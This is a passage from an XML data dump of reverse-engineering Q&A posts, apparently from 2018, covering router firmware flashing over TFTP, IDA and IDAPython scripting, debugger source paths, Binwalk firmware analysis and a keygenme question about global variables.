you're trying to understand low level concepts such as pointers.&lt;/p&gt;&#xA;&lt;p&gt;I am not experienced in the reverse engineering field, I do not pretend that I know much things, but I have some &amp;quot;bad&amp;quot; questions on stackoverflow / gamedev, I clearly didn't know what I was doing but hey, I was younger and that is okay, it's part of the learning curve. At first I didn't even understand these concepts and quite a time ago, I made a &amp;quot;simple&amp;quot; mod for a game that involved assembly patching to improve the fun. There were two simple patches to make, but it took me some hours to figure out. The point I want to make is that you have to start somewhere. Kudos to you for trying !&lt;/p&gt;&#xA;&lt;p&gt;You WILL spend or even waste, to some extent, time figuring things out, learning techniques, debugging, ... It does not come alone you know. It's like drawing, I don't think Picasso woke up one day and knew how to paint, it eventually came with practice, failures, study and frustration.&lt;/p&gt;&#xA;&lt;p&gt;Now I realize that this does not really answers your question and my apologies, basically try the pointer scan / code hooking. I'm sure that there are more solutions to this problem, that I am not aware of.&lt;/p&gt;&#xA;" OwnerUserId="16553" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-07-26T22:39:50.750" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18898" PostTypeId="1" CreationDate="2018-07-25T12:24:58.213" Score="2" ViewCount="762" Body="&lt;p&gt;This is a very obscure Chinese router from a brand called Wavlink. It's the Model: WN529R2/WN529R2P. It's web interface was pretty limited and wouldn't allow firmware modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found GND/Tx/Rx/Vcc pins, so I soldered to them, and got a serial console (without any password at all). I have root access and it runs OpenWrt 14.07 BARRIER BREAKER, but it is incredibly trimmed and limited. To name something, it doesn't even have opkg available, so I can't install any kind of package, being unable to customize my router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4ZNpt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ZNpt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to go and flash a clean OpenWrt binary. I found it used a Mediatek MT7628NN processor. Using commands I also found the arch is ramips. So I went to the OpenWrt download page. For some reason, there was no available version of OpenWrt 14.X for the 7628 (there was for other 762X processors). I went then to the OpenWrt 17.X and 15.X download pages and found binaries for the 7628.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The web interface doesn't recognize the update binaries. So I investigated and found I could also flash the firmware using a TFTP server, by booting the router with the reset button pushed. And so I did, this is the log of the flash process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RST has be pushed!RST has be pushed!Auto Update: tftp 192.168.9.2 update.bin!&#xA;netboot_common, argc= 3&#xA;NetTxPacket = 0x81FE6380&#xA;KSEG1ADDR(NetTxPacket) = 0xA1FE6380&#xA;NetLoop,call eth_halt !&#xA;NetLoop,call eth_init !&#xA;Trying Eth0 (10/100-M)&#xA;Waiting for RX_DMA_BUSY status Start... done&#xA;&#xA;ETH_STATE_ACTIVE!!&#xA;TFTP from server 192.168.9.2; our IP address is 192.168.9.233&#xA;Filename 'update.bin'.&#xA;&#xA;TIMEOUT_COUNT=10,Load address: 0x80100000&#xA;Loading: Got ARP REPLY, set server/gtwy eth addr (78:e3:b5:b7:1f:1d)&#xA;Got it&#xA;####################checksum bad&#xA;checksum bad&#xA;#############################################&#xA;###############checksum bad&#xA;##################################################&#xA;#################################################################&#xA;#################################################################&#xA;#################################################################&#xA;#################checksum bad&#xA;###########checksum bad&#xA;#####################################&#xA;#####################checksum bad&#xA;############################################&#xA;#################################################################&#xA;#################################################################&#xA;##############################&#xA;done&#xA;Bytes transferred = 3145732 (300004 hex)&#xA;NetBootFileXferSize= 00300004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it seems like it is doing nothing. After that, the router boots normally again in 14.07 as if nothing had changed. I've tried different TFTP servers and binary files just in case, like 15.X and 17.X and none of them have worked so far. I'm using, for example, the file: mt7628-squashfs-sysupgrade.bin downloaded from: &lt;a href=&quot;https://archive.openwrt.org/chaos_calmer/15.05.1/ramips/mt7628/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.openwrt.org/chaos_calmer/15.05.1/ramips/mt7628/&lt;/a&gt; which is then renamed to update.bin in my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXTRA: I'm not completely sure that the flashing has done nothing, because now on boot, two versions of Uboot are loaded, but the first one seems to fail or something, I don't know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7h5H8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7h5H8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uboot Ralink 4.3 was the default one, but I'm not sure if Uboot 1.1.3 was there before flashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there it just loads the Linux kernel and proceeds to boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why isn't the firmware getting flashed? Is there any sort of protection?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="245" LastEditDate="2018-07-26T11:04:32.113" LastActivityDate="2018-07-26T11:04:32.113" Title="Obscure router refuses to flash OpenWrt" Tags="|linux|obfuscation|flash|operating-systems|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="18899" PostTypeId="1" CreationDate="2018-07-25T16:20:48.440" Score="0" ViewCount="377" Body="&lt;p&gt;I'm debugging an &lt;code&gt;.exe&lt;/code&gt; file in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a specific point during debugging, I want the Python code to automatically take the data in &lt;code&gt;*(eax+8)&lt;/code&gt; and encrypt it with that module and print the result to file in my disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Python package I want to use is &lt;a href=&quot;https://pypi.org/project/pycrypto/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pycrypto&lt;/a&gt; (more specifically the &lt;a href=&quot;https://www.dlitz.net/software/pycrypto/api/current/Crypto.Cipher.AES-module.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES module&lt;/a&gt; from it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from Crypto.Cipher import AES&#xA;from Crypto import Random&#xA;&#xA;key = b'Sixteen byte key'&#xA;iv = Random.new().read(AES.block_size)&#xA;cipher = AES.new(key, AES.MODE_CFB, iv)&#xA;msg = iv + cipher.encrypt(b'here I want to put the data in eax+8')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and write the  &lt;code&gt;msg&lt;/code&gt; to &lt;code&gt;c:\.txt&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="25109" LastEditorUserId="245" LastEditDate="2018-07-26T10:55:59.027" LastActivityDate="2018-07-26T10:56:17.500" Title="How to use Python while debugging in IDA" Tags="|ida|encryption|python|executable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18900" PostTypeId="2" ParentId="18899" CreationDate="2018-07-25T16:35:13.467" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1488.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;breakpoints with conditions&lt;/a&gt; and add your Python script as the condition. Do whatever you want in the Python code and then either return &lt;code&gt;True&lt;/code&gt; or &lt;code&gt;False&lt;/code&gt; if you want the debugger to stop or not.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="245" LastEditDate="2018-07-26T10:56:17.500" LastActivityDate="2018-07-26T10:56:17.500" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18902" PostTypeId="2" ParentId="13023" CreationDate="2018-07-25T19:08:39.133" Score="2" Body="&lt;p&gt;Put a breakpoint on that instruction. You can use IDC in the breakpoint's condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to log it to the console, the snippet I would use is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Message(&quot;__GetProcAddress = %08X\n&quot;, Dword(ebp+offset));0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace offset with the value offset of &lt;code&gt;__GetProcAddress&lt;/code&gt; from ebp. You can see it at the top of the function, or if you right click the operand in the instruction you can see what'd it look like if you converted it from a stack variable to a simple offset. It'd look like &lt;code&gt;[ebp+XXh]&lt;/code&gt; the XX is the offset you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 0 at the end of condition makes the breakpoint not break, just run the code and continue. If you want it to break you can change that 0 to a 1.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2018-07-25T19:08:39.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18903" PostTypeId="1" CreationDate="2018-07-25T19:12:24.530" Score="1" ViewCount="94" Body="&lt;p&gt;I'm wondering if anyone has had any luck with Radare2's configuration variables, &lt;code&gt;esil.exectrap&lt;/code&gt;, &lt;code&gt;esil.iotrap&lt;/code&gt;, and &lt;code&gt;esil.nonull&lt;/code&gt; while &lt;em&gt;emulating&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;mov eax, dword [eax] &amp;lt;-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I can tell, if I set all of the variables to &lt;code&gt;true&lt;/code&gt; (specifically &lt;code&gt;esil.nonull&lt;/code&gt;), I should expect an exception in the above code and for it to stop executing, or see the eflags change right? Well that's not what happens and execution continues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the &lt;code&gt;cmd.esil.trap&lt;/code&gt; variable, amongst a few similar ones, that allow me to execute a command when a trap happens. I've tried commands such as &lt;code&gt;echo trap&lt;/code&gt; but again nothing happens. Am I doing something wrong or missing something here? Do I need to configure another variable to make this work? Is this only available in debug mode?&lt;/p&gt;&#xA;" OwnerUserId="24439" LastActivityDate="2018-07-25T19:12:24.530" Title="Can Radare2 emulate null pointer exceptions and others?" Tags="|radare2|emulation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18904" PostTypeId="1" CreationDate="2018-07-26T07:19:07.943" Score="1" ViewCount="1268" Body="&lt;p&gt;I am aware of &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11888/in-ollydbg-how-do-i-change-the-path-to-a-source-code-file-without-recreating-en&quot;&gt;this question&lt;/a&gt;, but I don't understand the only answer given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I tell OllyDbg where the source code is when I have no PDB file (debug symbols) available?&lt;/p&gt;&#xA;" OwnerUserId="25147" LastEditorUserId="245" LastEditDate="2018-07-26T10:43:39.067" LastActivityDate="2019-01-17T15:54:26.700" Title="How do I tell OllyDbg where my source code is?" Tags="|ollydbg|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18905" PostTypeId="1" CreationDate="2018-07-26T08:34:26.333" Score="2" ViewCount="732" Body="&lt;p&gt;We are unit testing with &lt;a href=&quot;https://www.vectorcast.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vectorcast&lt;/a&gt;, which uses the MinGW tool chain on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It launches the command line &lt;code&gt;gdb&lt;/code&gt;, but some of the newer engineers are having problems getting to grips with something without a GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a GUI for the MinGW gdb, which&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;runs on Windows&lt;/li&gt;&#xA;&lt;li&gt;is free for commercial use&lt;/li&gt;&#xA;&lt;li&gt;does not require admin rights &lt;/li&gt;&#xA;&lt;li&gt;does not write to the registry (preferably fully portable)&lt;/li&gt;&#xA;&lt;li&gt;does not run in the browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The latter point rules out x64dbg and, I believe OllyDbg. What are our options? We just want to point it at an .EXE, possibly set the source code path, if not in the .EXE, visually set breakpoints, step through code, examine variables, etc.&lt;/p&gt;&#xA;" OwnerUserId="25147" LastEditorUserId="25147" LastEditDate="2018-07-26T11:46:37.503" LastActivityDate="2018-07-26T11:46:37.503" Title="Seeking front end for MinGW gdb debugger" Tags="|debuggers|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18906" PostTypeId="2" ParentId="18904" CreationDate="2018-07-26T16:02:28.887" Score="0" Body="&lt;p&gt;OllDbg is a Windows tool and thus using a windows library &lt;a href=&quot;https://docs.microsoft.com/pl-pl/windows/desktop/Debug/about-dbghelp&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dbghelp.dll&lt;/code&gt;&lt;/a&gt; to do the debugging work. You can tell that by listing Olly's dlls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BYAJ0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BYAJ0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;dbghelp.dll&lt;/code&gt; uses &lt;a href=&quot;https://docs.microsoft.com/pl-pl/windows/desktop/Debug/symbol-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;symbol files&lt;/a&gt; to link the binary information with the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you tell OllyDbg where the source code is by using the PDB file. PDB is what links your binary file with your source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following excerpt still holds - &lt;a href=&quot;https://docs.microsoft.com/en-us/visualstudio/debugger/specify-symbol-dot-pdb-and-source-files-in-the-visual-studio-debugger&quot; rel=&quot;nofollow noreferrer&quot;&gt;Specify symbol (.pdb) and source files in the Visual Studio debugger&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A program database (.pdb) file, also called a symbol file, maps the identifiers that you create in source code for classes, methods, and other code to the identifiers that are used in the compiled executables of your project. The .pdb file also maps the statements in the source code to the execution instructions in the executables. The debugger uses this information to determine two key pieces of information:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Name of the source file and line number to be displayed in the Visual Studio IDE&lt;/li&gt;&#xA;  &lt;li&gt;Location in the executable to stop at when you set a breakpoint&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;A symbol file also contains the original location of the source files, and optionally, the location of a source server where the source files can be retrieved from.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-07-27T05:29:29.483" LastActivityDate="2018-07-27T05:29:29.483" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18907" PostTypeId="1" CreationDate="2018-07-26T20:34:28.043" Score="3" ViewCount="402" Body="&lt;p&gt;I have an exe file that read and write from a local DB file.&#xA;I checked this file with Detect It Easy and it shows that this is a &lt;code&gt;mdb&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can open this file with microsoft access, and watch all the tables, but when I tried to view some table I see that I don't have permission to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, the executable needs to send to this &lt;code&gt;mdb&lt;/code&gt; file a connection string that includes a user and a password when it initializes the connection.&#xA;Is that true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how can I sniff and observe this connection string as it sends it from the process to the &lt;code&gt;mdb&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="22915" LastEditDate="2018-07-27T06:15:09.240" LastActivityDate="2021-02-09T14:05:30.590" Title="Catch connection string between exe and mdb" Tags="|windows|process|sniffing|exe|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18908" PostTypeId="2" ParentId="18882" CreationDate="2018-07-26T20:46:56.117" Score="1" Body="&lt;p&gt;you probably have some error in the and operation&lt;br&gt;&#xA;answer by josh is right if you start with 12345678&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,DWORD PTR [esp+0x4]     eax =       12 34 56 78&#xA;bswap eax                       eax =       78 56 34 12&#xA;mov edx,eax                     edx = eax = 78 56 34 12&#xA;and eax,0x0f0f0f0f              eax =       08 06 04 02&#xA;and edx,0xf0f0f0f0              edx =       70 50 30 10&#xA;shr edx,0x4                     edx =       07 05 03 01&#xA;shl eax,0x4                     eax =       80 60 40 20&#xA;or eax,edx                      eax =       87 65 43 21&#xA;mov edx,eax                     edx =       87 65 43 21&#xA;and eax,0x33333333              eax =       03 21 03 21&#xA;and edx,0xcccccccc              edx =       84 44 40 00&#xA;shr edx,0x2                     edx =       21 11 10 00&#xA;shl eax,0x2                     eax =       0c 84 0c 84&#xA;or eax,edx                      eax =       2d 95 1c 84&#xA;mov edx,eax                     edx = eax = 2d 95 1c 84&#xA;and eax,0x55555555              eax =       05 15 14 04&#xA;and edx,0xaaaaaaaa              edx =       28 80 08 80&#xA;add eax,eax                     eax =       0a 2a 28 08&#xA;shr edx,1                       edx =       14 40 04 40&#xA;or eax,edx                      eax =       1e 6a 2c 48&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lets do it in say python&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; a = 0x78563412&#xA;&amp;gt;&amp;gt;&amp;gt; b = 0x0f0f0f0f&#xA;&amp;gt;&amp;gt;&amp;gt; c = 0xf0f0f0f0&#xA;&amp;gt;&amp;gt;&amp;gt; d = 0x33333333&#xA;&amp;gt;&amp;gt;&amp;gt; e = 0xcccccccc&#xA;&amp;gt;&amp;gt;&amp;gt; temp = (((((a&amp;amp;b)&amp;lt;&amp;lt;4|(a&amp;amp;c)&amp;gt;&amp;gt;4)&amp;amp;d)&amp;lt;&amp;lt;2) | ((((a&amp;amp;b)&amp;lt;&amp;lt;4|(a&amp;amp;c)&amp;gt;&amp;gt;4)&amp;amp;e)&amp;gt;&amp;gt;2))&#xA;&amp;gt;&amp;gt;&amp;gt; hex(((temp &amp;amp; 0x55555555 )*2) | (temp &amp;amp; 0xaaaaaaaa) &amp;gt;&amp;gt; 1)&#xA;'0x1e6a2c48L'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-07-26T20:46:56.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18911" PostTypeId="2" ParentId="8428" CreationDate="2018-07-27T04:35:49.560" Score="6" Body="&lt;p&gt;Roughly three years have passed and this relatively simple question still lacks a proper answer. Encountering the same issue today using IDA 7.0, I might as well spend the time providing a proper answer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Quoting from IDA's help file&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;-S###&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Execute a script file when the database is opened.&#xA;  The script file extension is used to determine which extlang will run the script.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is possible to pass command line arguments after the script name.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example: &lt;code&gt;-S&quot;myscript.idc argument1 \&quot;argument 2\&quot; argument3&quot;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The passed parameters are stored in the &lt;code&gt;ARGV&lt;/code&gt; global IDC variable. Use &lt;code&gt;ARGV.count&lt;/code&gt; to determine the number of arguments. The first argument &lt;code&gt;ARGV[0]&lt;/code&gt; contains the script name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The documentation quoted above provides an explicit example for the IDC scripting language but leaves us to interpolate / guess what would be the IDAPython equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally, one might assume idc's &lt;code&gt;ARGV&lt;/code&gt; parameter will be translated to python's well known &lt;code&gt;sys.argv&lt;/code&gt;, which is used precisely for that in most python files as is well-documented to hold the command line arguments provided when a script is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name resemblance fooled me too, however because of how python scripts are executed in IDA the documentation above should be treated literally in python as well. The &lt;code&gt;ARGV&lt;/code&gt; is &lt;em&gt;the only place&lt;/em&gt; arguments are accessible to IDA python scrips executed using the &lt;code&gt;-S&lt;/code&gt; flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA python, however, it is not available as a global paramter but should be accessed through the &lt;code&gt;idc&lt;/code&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's a simple example;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;given the followingf &lt;code&gt;myscript.py&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys, idc&#xA;&#xA;print(&quot;Sys args: &quot; + str(sys.argv))&#xA;print(&quot;Idc args: &quot; + str(idc.ARGV))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Executing the following command (ignoring the usual IDA banner):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ida64 -A -S&quot;myscript.py&quot; arg1 &quot;arg one and a half&quot; arg2 -L/some/other/flags/logfile.txt -t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will result in the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sys args: []&#xA;Idc args: [&quot;arg1&quot;, &quot;arg one and a half&quot;, &quot;arg2&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="245" LastEditDate="2018-07-27T11:49:27.963" LastActivityDate="2018-07-27T11:49:27.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18912" PostTypeId="2" ParentId="18904" CreationDate="2018-07-27T12:22:17.440" Score="3" Body="&lt;p&gt;You cannot tell Ollydbg or for that matter any debugger where source code is &#xA;without having Debug Information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Source Line information is available only in the Debug Information File. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;with msvc compiler chain  it is Program Database File aka PDB&lt;/li&gt;&#xA;&lt;li&gt;with gcc compiler chains it is called dwarf  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as I know gcc when built with -g option embeds the Debug Information inside the Executable itself  (you may need strip to strip the debug info from the binary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But msvc with /Zi switch  always creates a separate pdb file. You can use the binplace or pdbcopy utility to selectively strip Debug Information from this pdb file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled vectorcast and it seems to be a software testing suite and its site says it is compatible with MSVC tool chain up to Visual Studio 2013. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.vectorcast.com/software-testing-products/compilers-supported-vectorcast-c&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debuggers Supported by Vectorcast&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorDisplayName="user12114" LastEditDate="2019-01-17T15:54:26.700" LastActivityDate="2019-01-17T15:54:26.700" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18915" PostTypeId="1" CreationDate="2018-07-28T14:41:45.820" Score="2" ViewCount="223" Body="&lt;p&gt;i.e. What is the IDA API equivalent to pressing 'O'?&lt;/p&gt;&#xA;" OwnerUserId="25162" LastActivityDate="2018-07-28T14:46:32.323" Title="How to change immediate to reference using IDA API?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18916" PostTypeId="2" ParentId="18915" CreationDate="2018-07-28T14:46:32.323" Score="6" Body="&lt;p&gt;In Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ida_nalt&#xA;import ida_offset&#xA;ri.target = -1&#xA;ri.flags = 2&#xA;EA = 0xdeadbeef&#xA;OPND = 1&#xA;ida_offset.op_offset_ex(EA, OPND, ri)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where EA is the address of the line you want to change and OPND is the operand number of the immediate you want to change in the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example script of making everything that looks like a reference in a specific section into a reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sark, ida_nalt, ida_offset&#xA;&#xA;ri = ida_nalt.refinfo_t()&#xA;ri.target = -1&#xA;ri.flags = 2&#xA;&#xA;magic = [0x45670123]&#xA;segment_ranges =  [(s.startEA, s.endEA) for s in sark.segments()]&#xA;def is_address(ea):&#xA;    return any(start &amp;lt; ea &amp;lt; end for (start,end) in segment_ranges)&#xA;&#xA;for l in sark.Segment(name='ROM').lines:&#xA;    if not l.disasm.startswith('LDR '):&#xA;        continue&#xA;    if ', =0x' not in l.disasm:&#xA;        continue&#xA;    addr = int(l.disasm.split(', =0x')[-1],16)&#xA;&#xA;    if not is_address(addr) or addr in magic:&#xA;        continue&#xA;&#xA;    ida_offset.op_offset_ex(l.ea,1,ri)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25162" LastActivityDate="2018-07-28T14:46:32.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18917" PostTypeId="1" AcceptedAnswerId="18923" CreationDate="2018-07-28T22:42:31.247" Score="3" ViewCount="4421" Body="&lt;p&gt;I tried use Binwalk to extract content of binary firmware &lt;a href=&quot;https://github.com/octavetek/research/raw/master/Image1.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;image&lt;/a&gt; dumped from flash, but Binwalk does not show anything.&#xA;I tried commands&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -Me file.bin&#xA;binwalk --dd='.*' file.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;strings&lt;/code&gt; command  against a firmware image not show any human readable strings. &lt;code&gt;Entropy&lt;/code&gt; command returns &lt;code&gt;Falling entropy edge (0.689208)&lt;/code&gt; Or possibly, binary image is neither encrypted nor compressed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a64Tq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a64Tq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14092" LastEditorUserId="14092" LastEditDate="2018-07-29T20:32:52.953" LastActivityDate="2018-07-30T06:27:27.463" Title="Binwalk does not show anything when process binary" Tags="|binary-analysis|firmware|embedded|binwalk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18918" PostTypeId="1" AcceptedAnswerId="18921" CreationDate="2018-07-29T05:03:07.673" Score="0" ViewCount="121" Body="&lt;p&gt;So I was messing with an interesting keygenme, written in C++, which derives the key based on the values of the &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/metadata/osinfo-structure&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSINFO&lt;/a&gt; structure. Now, when checking for a valid key it uses the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CMP EAX, DWORD PTR DS:[key]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: why isn't the key stored in a local variable or something like:&lt;code&gt;[EBP-X]&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I translate it back into C++ so that it stores the key in &lt;code&gt;DS:[key]&lt;/code&gt; rather than in the stack?&lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2018-07-30T04:38:23.527" Title="Keygenme - Key location" Tags="|ida|x86|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18921" PostTypeId="2" ParentId="18918" CreationDate="2018-07-30T04:38:23.527" Score="3" Body="&lt;p&gt;Use a global or static variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EBP&lt;/code&gt; (base pointer) typically holds the address of the current stack frame, in that case it's used to get the address to local variable. (&lt;a href=&quot;https://stackoverflow.com/a/15020825/5267751&quot;&gt;reference&lt;/a&gt;) Global or static variables don't need such pointer, as their address is fixed on program load.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;By the way: I didn't test compiling a simple program on a 32-bit compiler. &lt;a href=&quot;https://stackoverflow.com/questions/21165678/why-64-bit-mode-long-mode-doesnt-use-segment-registers&quot;&gt;64-bit mode doesn't use segment registers&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastActivityDate="2018-07-30T04:38:23.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
